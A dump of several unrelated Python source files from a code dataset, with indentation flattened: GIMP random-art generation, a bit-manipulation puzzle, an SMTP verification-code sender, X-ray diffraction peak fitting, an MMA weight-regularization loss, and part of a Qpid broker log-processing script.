plasma_par = {'Image': image, 'Draw': drawable, 'Seed': random.randrange(1, 1000), 'Turbulence': random.choice(
(0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 1.0, 1.5, 1.1, 1.4, 1.8, 2.0, 2.7))}
pdb.plug_in_plasma(plasma_par['Image'], plasma_par['Draw'], plasma_par['Seed'], plasma_par['Turbulence'])
randomBlend()
editLayerMask(0)
image = gimp.image_list()[0]
# 3. add layer
layer_add_par = {'opacity': random.randrange(55, 100), 'msk': 1}
addNewLayer(**layer_add_par)
layer_mode_par = {'layer': pdb.gimp_image_get_active_layer(image), 'mode': random.randrange(0, 25)}
pdb.gimp_layer_set_mode(layer_mode_par['layer'], layer_mode_par['mode'])
if random.choice((0, 1)):
fill_par = {'num': random.choice((1, 1, 1, 1, 1, 1, 1, 1, 2, 3, 3, 3, 3, 4, 5, 8, 9, 12, 24, 64, 128, 512)),
'size': random.randrange(15, height), 'opt': 3, 'sq': random.choice((0, 1))}
randomCircleFill(**fill_par)
if random.choice((0, 1)):
fill_par = {'num': random.choice((1, 1, 1, 1, 1, 1, 1, 1, 2, 3, 3, 3, 3, 4, 5, 8, 9, 12, 24, 64, 128, 512)),
'size': random.randrange(15, height), 'opt': 3, 'sq': random.choice((0, 1))}
randomRectFill(**fill_par)
editLayerMask(0)
# 3. paint layer
if random.choice((0, 1, 1, 1, 1)):
drawRays_par = {'rays': random.choice((3, 5, 10, 15, 30, 45)), 'rayLength': random.choice(
(width / 4, width / 3, width / 2, 4 * (width / 5), 3 * (width / 4), 2 * (width / 3))),
'centerX': random.choice((width / 4, width / 3, width / 2, 4 * (width / 5), 3 * (width / 4),
2 * (width / 3))), 'centerY': random.choice(
(height / 4, height / 3, height / 2, 4 * (height / 5), 3 * (height / 4), 2 * (height / 3)))}
drawRays(**drawRays_par)
if random.choice((0, 1)):
fill_par = {'num': random.choice((1, 1, 1, 1, 1, 1, 1, 1, 2, 3, 3, 3, 3, 4, 5, 8, 9, 12, 24, 64, 128, 512)),
'size': random.randrange(15, height), 'opt': 3, 'sq': random.choice((0, 1))}
randomCircleFill(**fill_par)
if random.choice((0, 1)):
fill_par = {'num': random.choice((1, 1, 1, 1, 1, 1, 1, 1, 2, 3, 3, 3, 3, 4, 5, 8, 9, 12, 24, 64, 128, 512)),
'size': random.randrange(15, height), 'opt': 3, 'sq': random.choice((0, 1))}
randomRectFill(**fill_par)
if random.choice((0, 1)):
randomBrush()
if random.choice((0, 1)):
randomDynamics()
if random.choice((0, 1, 1, 1, 1)):
brushSize(50)
drawTree_par = {'x1': random.randrange(width / 4, 3 * (width / 4)),
'y1': random.randrange(height / 4, 3 * (height / 4)), 'angle': random.randrange(0, 360),
'depth': random.randrange(5, 7)}
drawOddTree(**drawTree_par) # x1, y1, angle, depth
if random.choice((0, 1, 1, 1, 1)):
if random.choice((0, 1, 1, 1, 1)):
brushSize(random.randrange(20, (height / 3)))
if random.choice((0, 1, 1, 1, 1)):
brushColor()
drawRays_par = {'rays': random.choice((10, 50, 100)),
'rayLength': random.choice((80, 160, 240, 400, height / 4, height / 3, height / 2)),
'centerX': random.choice(
((x_center + x_center / 2), x_center, x_center / 2, x_center / 3, x_center / 4)),
'centerY': random.choice(
((x_center + x_center / 2), x_center, x_center / 2, x_center / 3, x_center / 4))}
drawRays(**drawRays_par)
# 3. mask edit
editLayerMask(1)
image = gimp.image_list()[0]
drawable = pdb.gimp_image_active_drawable(image)
plasma_par = {'Image': image, 'Draw': drawable, 'Seed': random.randrange(1, 1000), 'Turbulence': random.choice(
(0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 1.0, 1.5, 1.1, 1.4, 1.8, 2.0, 2.7))}
pdb.plug_in_plasma(plasma_par['Image'], plasma_par['Draw'], plasma_par['Seed'], plasma_par['Turbulence'])
# 4. add layer
layer_add_par = {'opacity': random.randrange(55, 100), 'msk': 1}
addNewLayer(**layer_add_par)
layer_mode_par = {'layer': pdb.gimp_image_get_active_layer(image), 'mode': random.randrange(0, 25)}
pdb.gimp_layer_set_mode(layer_mode_par['layer'], layer_mode_par['mode'])
brushSize(-1)
editLayerMask(0)
# 4. paint layer
if random.choice((0, 1, 1, 1, 1)):
drawSin_par = {
'bar_space': random.choice((16, 18, 19, 20, 21, 51, 52, 53, 54, 56, 55, 57, 58, 59)),
'bar_length': random.choice((10, 100, height / 3)),
'mag': random.choice((40, 69, 120, 200, 300, 400, height / 2)),
'x_offset': 0,
'y_offset': random.randrange(height / 12, height)
}
drawSinWave(**drawSin_par)
if random.choice((0, 1, 1, 1, 1)):
drawForest(random.randrange(15, 64), 0)
if random.choice((0, 1, 1, 1, 1)):
# 5. mask edit
editLayerMask(1)
image = gimp.image_list()[0]
drawable = pdb.gimp_image_active_drawable(image)
plasma_par = {'Image': image, 'Draw': drawable, 'Seed': random.randrange(1, 1000),
'Turbulence': random.choice(
(0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7, 1.0, 1.5, 1.1, 1.4, 1.8, 2.0, 2.7))}
pdb.plug_in_plasma(plasma_par['Image'], plasma_par['Draw'], plasma_par['Seed'], plasma_par['Turbulence'])
if random.choice((0, 1)):
fill_par = {
'num': random.choice((1, 1, 1, 1, 1, 1, 1, 1, 2, 3, 3, 3, 3, 4, 5, 8, 9, 12, 24, 64, 128, 512)),
'size': random.randrange(15, height), 'opt': 3, 'sq': random.choice((0, 1))}
randomCircleFill(**fill_par)
if random.choice((0, 1)):
fill_par = {
'num': random.choice((1, 1, 1, 1, 1, 1, 1, 1, 2, 3, 3, 3, 3, 4, 5, 8, 9, 12, 24, 64, 128, 512)),
'size': random.randrange(15, height), 'opt': 3, 'sq': random.choice((0, 1))}
randomRectFill(**fill_par)
flatten()
image = gimp.image_list()[0]
drawable = pdb.gimp_image_active_drawable(image)
canvas_par = {'Image': image, 'Draw': drawable, 'Direction': 1, 'Depth': 1}
pdb.plug_in_apply_canvas(canvas_par['Image'], canvas_par['Draw'], canvas_par['Direction'], canvas_par['Depth'])
def dimensionality(folder='',tweet=0):
# automated creation of dimensionality study piece
global settings_data
if folder == '':
folder = settings_data['path']['art_folder']+"resources/"+random.choice(["photos","fractals","plants","rock"])+"/"
loadDirLayer(folder,9699690)
if random.choice([0,0,0,0,1,1,1]):
flatten()
mirror()
def fractalMasking():
# fractal layered wtih tile masks
if random.choice([0,0,0,0,1,1,1]):
image=gimp.image_list()[0]
drawable = pdb.gimp_image_active_drawable(image)
pdb.gimp_invert(drawable)
for x in range(random.choice([3,6,7,8,9,10])):
addFractal()
tile([random.choice([1,2,3,4,5,6,7,8,12]),random.choice([1,2,3,4,5,6,7,8,12])])
if random.choice([0,0,0,0,1,1,1]):
flatten()
mirror()
def randomMasking():
# tile mask from random resources
image=gimp.image_list()[0]
drawable = pdb.gimp_image_active_drawable(image)
if random.choice([0,0,0,0,1,1,1]):
pdb.gimp_invert(drawable)
for x in range(random.choice([13,6,7,8,9,10])):
qRes(opacity=random.choice([13,25,33,50,66,75,85]))
layer_mode_par = {'layer': pdb.gimp_image_get_active_layer(image), 'mode': random.randrange(0, 25)}
pdb.gimp_layer_set_mode(layer_mode_par['layer'], layer_mode_par['mode'])
if 25 > random.randrange(0,100):
tile([random.randrange(1,12),random.randrange(1,12)])
if random.choice([0,0,0,0,1,1,1]):
flatten()
mirror()
def hybridMasking(option="SpBGsp", noise=0.3):
# masking resources with lots of options
drawInkBlot()
if 'SpBG' in option:
addSpacePhoto(opacity=50)
if "Re" in option:
applyEffect()
for x in range(4,(10+random.randrange(int(noise*5*-1),int(noise*10)))):
if 'ph'in option:
qRes()
if "Re" in option:
applyEffect()
tile([random.randrange(1,12),random.randrange(1,12)])
if "Re" in option:
editLayerMask(1)
applyEffect()
editLayerMask(0)
if 'sc' in option:
qRes()
if "Re" in option:
applyEffect()
tile([random.randrange(1,12),random.randrange(1,12)])
if "Re" in option:
editLayerMask(1)
applyEffect()
editLayerMask(0)
if 'sp' in option:
qRes()
if "Re" in option:
applyEffect()
tile([random.randrange(1,12),random.randrange(1,12)])
if "Re" in option:
editLayerMask(1)
applyEffect()
editLayerMask(0)
if 'fr' in option:
qRes()
if "Re" in option:
applyEffect()
tile([random.randrange(1,12),random.randrange(1,12)])
if "Re" in option:
editLayerMask(1)
applyEffect()
editLayerMask(0)
if random.choice([0,0,0,0,1,1,1]):
flatten()
mirror()
def spikeDif():
# draw spike ball or random rays
spikeBallStack(depth=random.choice([3,3,4,5,6,8,10,12,16,20]))
applyEffect()
if random.choice([0,0,0,0,1,1,1]):
flatten()
mirror()
def inkBlot():
# draq basic ink blot
inkBlotStack()
applyEffect()
if random.choice([0,0,0,0,1,1,1]):
flatten()
mirror()
def skeleton(type="",num=10,delay=10,tweet=1,study_name="Multifunctional Study"):
# function to take care of exporting and tweet all images produces
automations = {"spikeDif" : spikeDif,
"inkBlot" : inkBlot,
"hybridMasking" : hybridMasking,
"paint" : paint,
"fractalMasking" : fractalMasking,
"randomMasking" : randomMasking}
for i in range(0,num):
qS()
# ################## #
# This is the nugget #
# ################## #
if type == "":
automation_pick = random.choice(automations.keys())
print(automation_pick)
automations[automation_pick]()
else:
automations[type]()
if tweet:
signImage()
flatten()
tweet=imageTitle(2)+'\n by <NAME>\n'+study_name+'\n'
tweetImage(tweet+hashtagString(len(tweet)),qX()[1])
print(tweet)
closeAll()
sleep(delay)
else:
qX()
closeAll()
def doWeatherPainting():
# draw day
# -draw sun
# -draw clouds
# draw night
# -draw sun
# -draw clouds
print('weather painting?')
def addResource(options=0, resource_type="rock", opacity=90, resource_folder="", scale=[], position=[]):
avoid_folders=['brushes','fonts','gradients','mask','overlays','paths','scraps','signature','stamps','stickers','stock-image','templates','tiles']
if resource_type == "random":
cl=dict(Counter(os.listdir(settings_data['path']['art_folder']+'/resources/'))-Counter(avoid_folders)).keys()
resource_type = random.choice(cl)
if resource_folder == "":
resource_folder = settings_data['path']['art_folder']+'/resources/'+resource_type+'/'
resource_file = ""
resource_files = []
if options == 0:
if resource_type == "":
for file in os.listdir(resource_folder):
if os.path.isdir(resource_folder+file):
for sub_file in os.listdir(resource_folder+file+'/'):
if 'png' in sub_file:
resource_files.append(file+'/'+sub_file)
if 'jpg' in sub_file:
resource_files.append(file+'/'+sub_file)
else:
if 'png' in file:
resource_files.append(file)
if 'jpg' in file:
resource_files.append(file)
else:
for file in os.listdir(resource_folder):
if 'png' in file:
resource_files.append(file)
if 'jpg' in file:
resource_files.append(file)
resource_file = resource_folder+random.choice(resource_files)
loadLayer(resource_file)
image = gimp.image_list()[0]
active_layer = pdb.gimp_image_get_active_layer(image)
pdb.gimp_layer_set_opacity(active_layer, opacity)
if scale==[]:
pdb.gimp_layer_scale(active_layer, image.width, image.height, 0)
else:
pdb.gimp_layer_scale(active_layer, scale[0], scale[1], 0)
if position == []:
pdb.gimp_layer_set_offsets(active_layer, 0, 0)
else:
pdb.gimp_layer_set_offsets(active_layer, position[0], position[1])
def qRes(options=0, sticker_type="random", opacity=90, sticker_folder="", scale=[], position=[]):
if sticker_folder == "" and not sticker_type == 'random':
sticker_folder = settings_data['path']['art_folder']+'/resources/'+resource_type+'/'
addResource(options, sticker_type, opacity, sticker_folder, scale, position)
def addSticker(options=0, sticker_type="", opacity=90, sticker_folder="", scale=[], position=[]):
if sticker_folder == "":
sticker_folder = settings_data['path']['art_folder']+'/resources/stickers/'
addResource(options, sticker_type, opacity, sticker_folder, scale, position)
def addFractal(options=0, fractal_type="", opacity=90, fractal_folder="", scale=[], position=[]):
image = gimp.image_list()[0]
if fractal_folder == "":
fractal_folder = settings_data['path']['art_folder']+'/resources/fractals/'
if position == []:
position = [0,0]
if scale == []:
scale=[image.width, image.height]
addResource(options, fractal_type, opacity, fractal_folder, scale, position)
active_layer = pdb.gimp_image_get_active_layer(image)
pdb.gimp_layer_set_mode(active_layer, random.choice([17,6,15,0,0,0,0,0,0]))
def addPhoto(options=0, photo_type="", opacity=90, photo_folder="", scale=[], position=[]):
image = gimp.image_list()[0]
if photo_folder == "":
photo_folder = settings_data['path']['art_folder']+'/resources/photos/'
if position == []:
position = [0,0]
if scale == []:
scale=[image.width, image.height]
addResource(options, photo_type, opacity, photo_folder, scale, position)
active_layer = pdb.gimp_image_get_active_layer(image)
pdb.gimp_layer_set_mode(active_layer, random.choice([17,6,15,0,0,0,0,0,0]))
def addSpacePhoto(options=0, type="", opacity=90, space_folder="", scale=[], position=[]):
image = gimp.image_list()[0]
if space_folder == "":
space_folder = settings_data['path']['art_folder']+'/resources/space/'
if position == []:
position = [0,0]
if scale == []:
scale=[image.width, image.height]
addResource(options, type, opacity, space_folder, scale, position)
active_layer = pdb.gimp_image_get_active_layer(image)
pdb.gimp_layer_set_mode(active_layer, random.choice([17,6,15,0,0,0,0,0,0]))
def addScriptDrawing(options=0, type="", opacity=90, script_folder="", scale=[], position=[]):
image = gimp.image_list()[0]
if script_folder == "":
script_folder = settings_data['path']['art_folder']+'/resources/script_drawings/'
if position == []:
position = [0,0]
if scale == []:
scale=[image.width, image.height]
addResource(options, type, opacity, script_folder, scale, position)
active_layer = pdb.gimp_image_get_active_layer(image)
pdb.gimp_layer_set_mode(active_layer, random.choice([17,6,15,0,0,0,0,0,0]))
| 2.46875 | 2 |
Darlington/phase-3/python challenge/day 89 solution/qtn2.py | darlcruz/python-challenge-solutions | 0 | 12764342 | #program to find the single element appears once in a list where every element
# appears four times except for one.
class Solution_once:
def singleNumber(self, arr):
ones, twos = 0, 0
for x in arr:
ones, twos = (ones ^ x) & ~twos, (ones & x) | (twos & ~x)
assert twos == 0
return ones
class Solution_twice:
def single_number(arr):
ones, twos, threes = 0, 0, 0
for x in arr:
ones, twos, threes = (~x & ones) | (x & ~ones & ~twos & ~threes), (~x & twos) | (x & ones), (~x & threes) | (x & twos)
return twos
if __name__ == "__main__":
print(Solution_once().singleNumber([1, 1, 1, 2, 2, 2, 3]))
print(Solution_once().singleNumber([5, 3, 0, 3, 5, 5, 3]))
| 3.65625 | 4 |
modules/checker_email.py | dark0ghost/async_py_bot | 24 | 12764343 | import asyncio
from email.mime.text import MIMEText
from random import random, choice
from aiosmtplib import SMTP
class CheckerEmail:
"""
class for check email
use :
from CheckerMailPy import CheckerEmail
from email.mime.text import MIMEText
async def async_start() -> None:
checker_mail: CheckerEmail.CheckerEmail = CheckerEmail.CheckerEmail(hostname_mail=smtp_host,
port=smtp_port, password=<PASSWORD>,
login=smtp_login)
check.change_len_code(new_len_code=5)
check.get_random_code()
code: int = check.get_code()
await check.async_send_message()
# or sync code
check.sync_send_message()
"""
def __init__(self, hostname_mail: str, port: int, login: str, password: str, loop=None) -> None:
"""
:param hostname_mail:
:param port:
:param login:
:param password:
"""
if loop is None:
loop = asyncio.get_event_loop()
self.host_name: str = hostname_mail
self.port: int = port
self.message: MIMEText
self.len_code: int = 1
self.client = SMTP(password=password, username=login, loop=loop)
def change_len_code(self, new_len_code) -> None:
"""
:param new_len_code:
:return:
"""
self.len_code = new_len_code
def get_random_code(self) -> int:
"""
:return:
"""
code = ""
alphacode = list(str(random()).replace(".", ""))
for i in range(self.len_code):
code += str(choice(alphacode))
return code
def build_message(self, text, from_mail, to, subject) -> None:
"""
:param text:
:param from_mail:
:param to:
:param subject:
:return:
"""
self.message = MIMEText(text)
self.message["From"] = from_mail
self.message["To"] = to
self.message["Subject"] = subject
async def async_send_message(self, start_tls: bool = False, use_tls: bool = False) -> None:
"""
async out
:return:
"""
await self.client.connect(hostname=self.host_name, port=self.port, use_tls=use_tls, start_tls=start_tls)
async with self.client:
await self.client.send_message(self.message)
print(200)
def sync_send_message(self, start_tls: bool = False, use_tls: bool = False) -> None:
"""
for sync code
"""
loop = asyncio.get_event_loop()
loop.run_until_complete(self.async_send_message(start_tls=start_tls, use_tls=use_tls))
| 2.703125 | 3 |
doc/sphinxext/numpydoc/__init__.py | vimalromeo/pandas | 303 | 12764344 | from __future__ import division, absolute_import, print_function
from .numpydoc import setup
| 0.972656 | 1 |
x.py | merny93/tornado | 0 | 12764345 | <filename>x.py
import spinmob as s
import numpy as np
import matplotlib.pyplot as plt
from scipy.optimize import curve_fit
from scipy.special import voigt_profile
import spify
import os
#load pure copper data!
#the new fitting fit needs to work with different h,k,l
# Make a wrapper that will generate fitting functions with different h,k,l
def shape_func(lmda_sqd_times_combined_hkl, a, theta_0):
return np.rad2deg(np.arcsin(np.sqrt(lmda_sqd_times_combined_hkl/ (4* a**2)) )) * 2 + 2*theta_0
# Same but for tin
# x is [h,k,l,lambda]
def tin_func(x, a, c, theta_0):
return np.rad2deg(np.arcsin(np.sqrt(1/4*((x[0]**2+x[1]**2)/a**2 + x[2]**2/c**2)*x[3]**2))) * 2 + 2*theta_0
def tin_func_2(x, theta_0):
return np.rad2deg(np.arcsin(np.sqrt(x))) * 2 + 2*theta_0
#GAUSSIAN FIRST TRY
def fit_func(x, *argvs):
#start with gaussian
#args is x then [mean, sigma, a, c]
return argvs[2] * np.exp(-((x-argvs[0])/argvs[1])**2) + argvs[3]
##DOUGBLE PEAK MIT FIT
def double_fit(x, *argvs):
#now what if we tried something spicy ;)
#double
# args is x then [mean1, sigma1, a1, gamma1, mean2, sigma2, a2, gamma2, *poly]
return sum([argvs[2+i]* voigt_profile(x - argvs[0+i], argvs[1+i], argvs[3+i], out=None) for i in [0]]) + np.polyval(argvs[4:], x)
#that line sums over the two voigt profiles and then adds a polynomial as discribed by mit
def line(x, a,b):
return a*x+b
def fitter(filename, windows, path_, hkls, p0_fitter):
d = s.data.load(os.path.join(path_,"{}.UXD".format(filename)))
data = {"angle": d[0], "count": d[1]}
#plot the data for some good vibes and easy checks
plt.plot(data["angle"], data["count"])
plt.show()
##DEBUGING OF FITTING FUNCTION
'''
x = np.linspace(-2,2)
y = double_fit(x, *[-1, 0.5, 250, 0.7,1, 0.5, 0, 0.7, 0,0,0])
plt.plot(x,y)
plt.show()
'''
#these windows are where the peaks are in angle units (NOT ARRAY INDEX)
# factor shifts the window to the right because of alloys
##loop through the windows and try to fit:
theta_fit= []
peaks_data = {}
for i,window in enumerate(windows):
#window is in angle so lets get it in index
pos = np.argwhere(np.logical_and(data["angle"]>window[0], data["angle"]<window[1]))
x = np.array(data["angle"][pos]).flatten()
y = np.array(data["count"][pos]).flatten()
#noise as sqrt of count but dont let it get too small
noise = np.sqrt(y)
noise[noise < 2] = 2
#optimize***************
#first get a easy run-through using the gaussian
popt,pcov = curve_fit(fit_func, x,y, p0=[sum(window)/2,1, 250, 0.7], sigma=noise, absolute_sigma=True)
##PLOT THE FIRST FIT WITH RESIDUALS
'''
fig = plt.figure()
gs = fig.add_gridspec(2, hspace = 0, height_ratios = [3,1])
axs = gs.subplots(sharex= True)
axs[0].scatter(x,y)
axs[0].plot(x,fit_func(x,*popt))
axs[1].scatter(x, y- fit_func(x, *popt))
plt.show()
'''
#this gives a really good first guess for the next step
p0 = [popt[0], 0.5 *popt[1], 2*popt[2], 0.1,
0,0]
##IF U WANT TO PLOT THE FIRST GEUSS
# plt.scatter(x,y)
# plt.plot(x,double_fit(x,*p0))
# plt.show()
##WAS BEING USED BEFORE TO IMPROVE FIT
'''
bounds = ([0, 0,0,0,
popt[0],0,0,0,
0,0,0,0,
-np.inf, -np.inf],
[popt[0], np.inf,np.inf,np.inf,
np.inf,np.inf,np.inf,np.inf,
popt[0], np.inf,np.inf,np.inf,
np.inf,np.inf])
'''
popt, pcov = curve_fit(double_fit, x,y, p0=p0, sigma=noise, absolute_sigma=True, maxfev=1000000) #, bounds=bounds)
# print(popt)
#now get a prediction for residual calculations!
y_pred = double_fit(x,*popt)
#compute chisqd
chi_sqd = np.sum(((y-y_pred)/noise)**2)/x.size
#output
# print("chisqd is about,", chi_sqd)
# print("position is,", popt[0], "+/-", np.sqrt(np.diag(pcov))[0] )
#save to the results
#order is critical here!
theta_fit.append((popt[0], np.sqrt(np.diag(pcov))[0]))
#get spify
spify.residual_plot(x,y,noise, double_fit, popt,
r"$2\theta \ (^\circ)$","Counts","Residuals",
filename+"_"+str(i+1)+"_voigt")
peaks_data['peak_{}'.format(i)] = {}
peaks_data['peak_{}'.format(i)]['popt'] = popt[0]
peaks_data['peak_{}'.format(i)]['unc'] = np.sqrt(np.diag(pcov))[0]
peaks_data['peak_{}'.format(i)]['chi'] = chi_sqd
##we fit for theta_fit
## its an list with 2 lists in it. Each of the inner lists constains tupples giving the peak position and
lmdas = sorted([0.1540562e-9])
##Create the x_s by combining all the hkls and lambdas
from itertools import product
x_s = np.array(list(map(lambda x: x[0] * x[1]**2, product(hkls, lmdas))))
#collaps the data
y_s = np.array([points[0] for points in theta_fit])
n_s = np.array([points[1] for points in theta_fit])
#fit for the parameter a
popt,pcov = curve_fit(shape_func,x_s, y_s, p0= p0_fitter, sigma=n_s)
chi_sqd = np.sum((y_s - shape_func(x_s, *popt))**2/n_s**2)/len(y_s-2)
x_high = np.linspace(x_s[0], x_s[-1], num=250)
y_high = shape_func(x_high, *popt)
y_pred = shape_func(x_s, *popt)
spify.residual_plot(x_s, y_s, n_s,shape_func, popt,
r"$\lambda^2(h^2+k^2+l^2) \ (10^{-19} \ \mathrm{m}^2)$",
r"$2\theta \ (^{\circ} )$",
"Residuals",
filename + "_lattice", renorm=True)
peaks_data['line_popt'] = popt
peaks_data['line_unc'] = np.sqrt(np.diag(pcov))
peaks_data['line_chi'] = chi_sqd
return peaks_data
def full_anal(path_, bins, hkls, print_=False, line_plot=False, p0_fitter = [3.5e-10, 0]):
filenames = os.listdir(path_)
filenames = list(map(lambda x: x.split(".")[0], filenames))
# filenames = ["Cu_03_09_20", "Cu75Ni25","Cu50Ni50","Cu25Ni75", "Ni_03_09_20"]
total_data = {}
for i in range(len(filenames)):
total_data['{}'.format(filenames[i])] = (fitter(filenames[i], bins[i], path_,hkls, p0_fitter))
# print(total_data)
if print_:
try:
import pprint
pp = pprint.PrettyPrinter(indent=4)
pp.pprint(total_data)
except:
print(total_data)
if line_plot:
y_data = [[],[]]
for name in filenames:
y_data[0].append(total_data[name]["line_popt"][0])
y_data[1].append(total_data[name]["line_unc"][0])
y_data[0] = np.array(y_data[0], dtype = float)
y_data[1] = np.array(y_data[1], dtype = float)
# plot_litterature = [[0,100],
# [361.49e-12, 352.4e-12],
# ['Litterature']]
# spify.lattice_alloy_plot(plot_data, plot_litterature, 'Cu-Ni')
x = np.array([0,75,50,25, 100] ,dtype = float)
popt,pcov = curve_fit(line,x,y_data[0], p0= [1,1], sigma=y_data[1])
chi_sqd = np.sum((y_data[0] -line(np.array(x), *popt))**2/y_data[1]**2)/len(y_data[0]-2)
spify.residual_plot(x, y_data[0], y_data[1],
line, popt,"Nickel Concentration", "Lattice Parameter","Residuals",
path_[-15:] + "_vegard", legend_loc = "upper right")
if __name__ == '__main__':
copper_bins = [[[41.5,45.5],[48,53],[72,77],[88,93], [93,98]],
[[41.5,49],[48,56],[72,80],[88,95], [95,101]],
[[41.5,48],[48,56],[72,80],[88,95], [94,100]],
[[41.5,47],[48,56],[72,80],[87,94], [95,99]],
[[41.5,50],[48,56],[72,80],[90,96], [97,101]]]
copper_nickel_hkls = [3,4,8,11,12]
# full_anal('X-Ray/data/copper_nickel_series', copper_bins, copper_nickel_hkls, print_=True)
lead_bins = [[[30,35],[36,38],[50,56],[60,65],[63,67],[74,82],[82,87],[87,90],[96,103],[104,112]]]
lead_hkls = [3,4,8,11,12,16,19,20,24,27]
full_anal('X-Ray/data/pb', lead_bins, lead_hkls , print_=True, p0_fitter = [1e-9, 0])
| 2.265625 | 2 |
contrib/ruamel/__init__.py | reuterbal/ecbundle | 0 | 12764346 | __all__ = ["yaml"]
| 1.070313 | 1 |
MMA.py | wznpub/MMA_Regularization | 8 | 12764347 | import torch
import torch.nn.functional as F
import mxnet as mx
def get_mma_loss(weight):
'''
MMA regularization in PyTorch
:param weight: parameter of a layer in model, out_features * in_features
:return: mma loss
'''
# for convolutional layers, flatten
if weight.dim() > 2:
weight = weight.view(weight.size(0), -1)
# computing cosine similarity: dot product of normalized weight vectors
weight_ = F.normalize(weight, p=2, dim=1)
cosine = torch.matmul(weight_, weight_.t())
# make sure that the diagnonal elements cannot be selected
cosine = cosine - 2. * torch.diag(torch.diag(cosine))
# maxmize the minimum angle
loss = -torch.acos(cosine.max(dim=1)[0].clamp(-0.99999, 0.99999)).mean()
return loss
def get_angular_loss_mxsymbol(weight):
'''
MMA regularization in Symbol of MXNet
:param weight: parameter of a layer in model, out_features * in_features
:return: mma loss
'''
# for convolutional layers, flatten
if 'conv' in weight.name:
num_filter = int(weight.attr('num_filter'))
weight = weight.reshape((num_filter, -1))
else:
num_filter = int(weight.attr('num_hidden'))
# computing cosine similarity: dot product of normalized weight vectors, and make sure that the diagnonal elements cannot be selected
weight_ = mx.symbol.L2Normalization(weight, mode='instance')
cosine = mx.symbol.linalg.syrk(weight_, alpha=1., transpose=False) - 2. * mx.symbol.eye(num_filter)
# maxmize the minimum angle
theta = mx.symbol.arccos(mx.symbol.max(cosine, axis=1))
loss = -mx.symbol.mean(theta)
return loss
| 2.859375 | 3 |
modules/andes-core/perftests/bin/processing/processTests.py | bhathiya/andes | 3 | 12764348 | #!/usr/bin/env python
#
#
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
import os
import re
import datetime
import sys
import string
from optparse import OptionParser
from datetime import datetime, timedelta
import shutil
def showUsage():
log("./processTests.py [-b|--broker-log-dir] <dir> [-t|--test-dir] <dir>")
ACCESS="Access"
MODIFY="Modify"
BROKER_LOG="broker.log"
BROKER_PID="broker.pid"
BROKER_CPU="broker_cpu.log"
BROKER_CPU_DATED="broker_cpu.log.dated"
BROKER_STATS="broker.stats"
BROKER_GC="gc.log"
GRAPH_DATA="graph.data"
_verbose = False
_debug = False
_brokerLogs = ""
def exitError(message):
log(message)
sys.exit(1)
def main():
global _log, _verbose, _debug, _brokerLogs
# Load the
parser = OptionParser()
parser.add_option("-v", "--verbose", dest="verbose",
action="store_true", default=False, help="enable verbose output")
parser.add_option("-d", "--debug", dest="debug",
action="store_true", default=False, help="enable debug output")
parser.add_option("-b", "--broker-log-dir", dest="brokerLogs",
action="store", default=True, help="Broker Logs")
parser.add_option("-t", "--test-dir", dest="testDir",
action="store", default="", help="Test Results")
(options, args) = parser.parse_args()
_verbose = options.verbose
_debug = options.debug
testDir = options.testDir
_brokerLogs = options.brokerLogs
if testDir == "" or _brokerLogs == "" :
log("Broker Log Dir and Test Dir are both requried.")
showUsage()
if not os.path.exists(testDir):
exitError("Test directory does not exist:" + testDir)
if not os.path.exists(_brokerLogs):
exitError("Broker log directory does not exist:" + _brokerLogs)
# Standardize the format of the broker logs
preProcessBrokerLogs(_brokerLogs)
# Get list of test results from test_dir
processTestResults(testDir)
#
# Process the log files we know of
#
def preProcessBrokerLogs(resultDir):
print "Pre Processing Broker Logs"
# Pre-Process GC - no pre processing required
# Process Log4j - no processing required as file is already time stamped.
# Pre-Process broker_cpu
processCPUUsage(resultDir)
#
# Process the broker CPU log file and create an output file of format
# <Date Time> <CPU Usage>
#
#
def processCPUUsage(resultDir):
logfile=resultDir+os.sep+BROKER_CPU
datedFile=resultDir+os.sep+BROKER_CPU_DATED
start = extractTime(ACCESS, logfile+".stat")
pid = getPID(BROKER_PID)
topRate = getFirstLine(_brokerLogs+os.sep+"top.rate")
#
# Calulate addition required per process line output
#
if topRate.find(".") == -1:
seconds = topRate
millis = 0
else:
split = topRate.split('.')
seconds = split[0]
# Convert
millis = float("0."+split[1]) * 1000
offset = timedelta(seconds=int(seconds),milliseconds=int(millis))
#
# Process the CPU log file and make a file of format:
# datetime <CPU% usage> <MEM% usage>
#
# Open log CPU file for reading
logfile = open(logfile, "r")
# Open the output file, erasing any existing version
# Keep track of the min/max sum and entries,.
minCPU=float(sys.maxint)
maxCPU=0.0
minMem=float(sys.maxint)
maxMem=0.0
entries=0
sumCPU=0.0
sumMem=0.0
output= open(datedFile, "w")
for line in logfile:
#
# Data format
# 0 1 2 3 4 5 6 7 8 9 10 11
# PID USER PR NI %CPU TIME+ %MEM VIRT RES SHR S COMMAND
# PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
#
# %CPU and %MEM are vary, probably based on os/version of top.
# lets auto-detect where it is.
#
# Index is 0 based for array usage.
index = 0
if line.find("PID") != -1:
for key in line.split(" "):
strippedKey = key.lstrip()
if len(strippedKey) > 0:
# Record the key index
if (strippedKey == "%CPU"):
cpuIndex=index
if (strippedKey == "%MEM"):
memIndex=index
# Increase count for next key
index = index + 1
# Find lines that contain our broker process
if line.find("QPBRKR") != -1:
# Split line on whitespace
data = line.split()
#Write out the date time (ISO-8601 format)
output.write(str(start))
# Output the %CPU value
output.write(" "+str(data[cpuIndex]))
# Output the %MEM value
output.write(" "+str(data[memIndex]))
output.write('\n')
# Add the offset based on the logging rate
start = start + offset
# Record entires
entries = entries + 1
# Record Metrics
# Record CPU data
cpu = float(data[cpuIndex])
if (cpu < minCPU):
minCPU = cpu
if (cpu > maxCPU):
maxCPU = cpu
sumCPU = sumCPU + cpu
# Record Mem data
mem = float(data[memIndex])
if (mem < minMem):
minMem = mem
if (mem > maxMem):
maxMem = mem
sumMem = sumMem + mem
#end for
# Close the files
logfile.close
output.close
# Output stats file
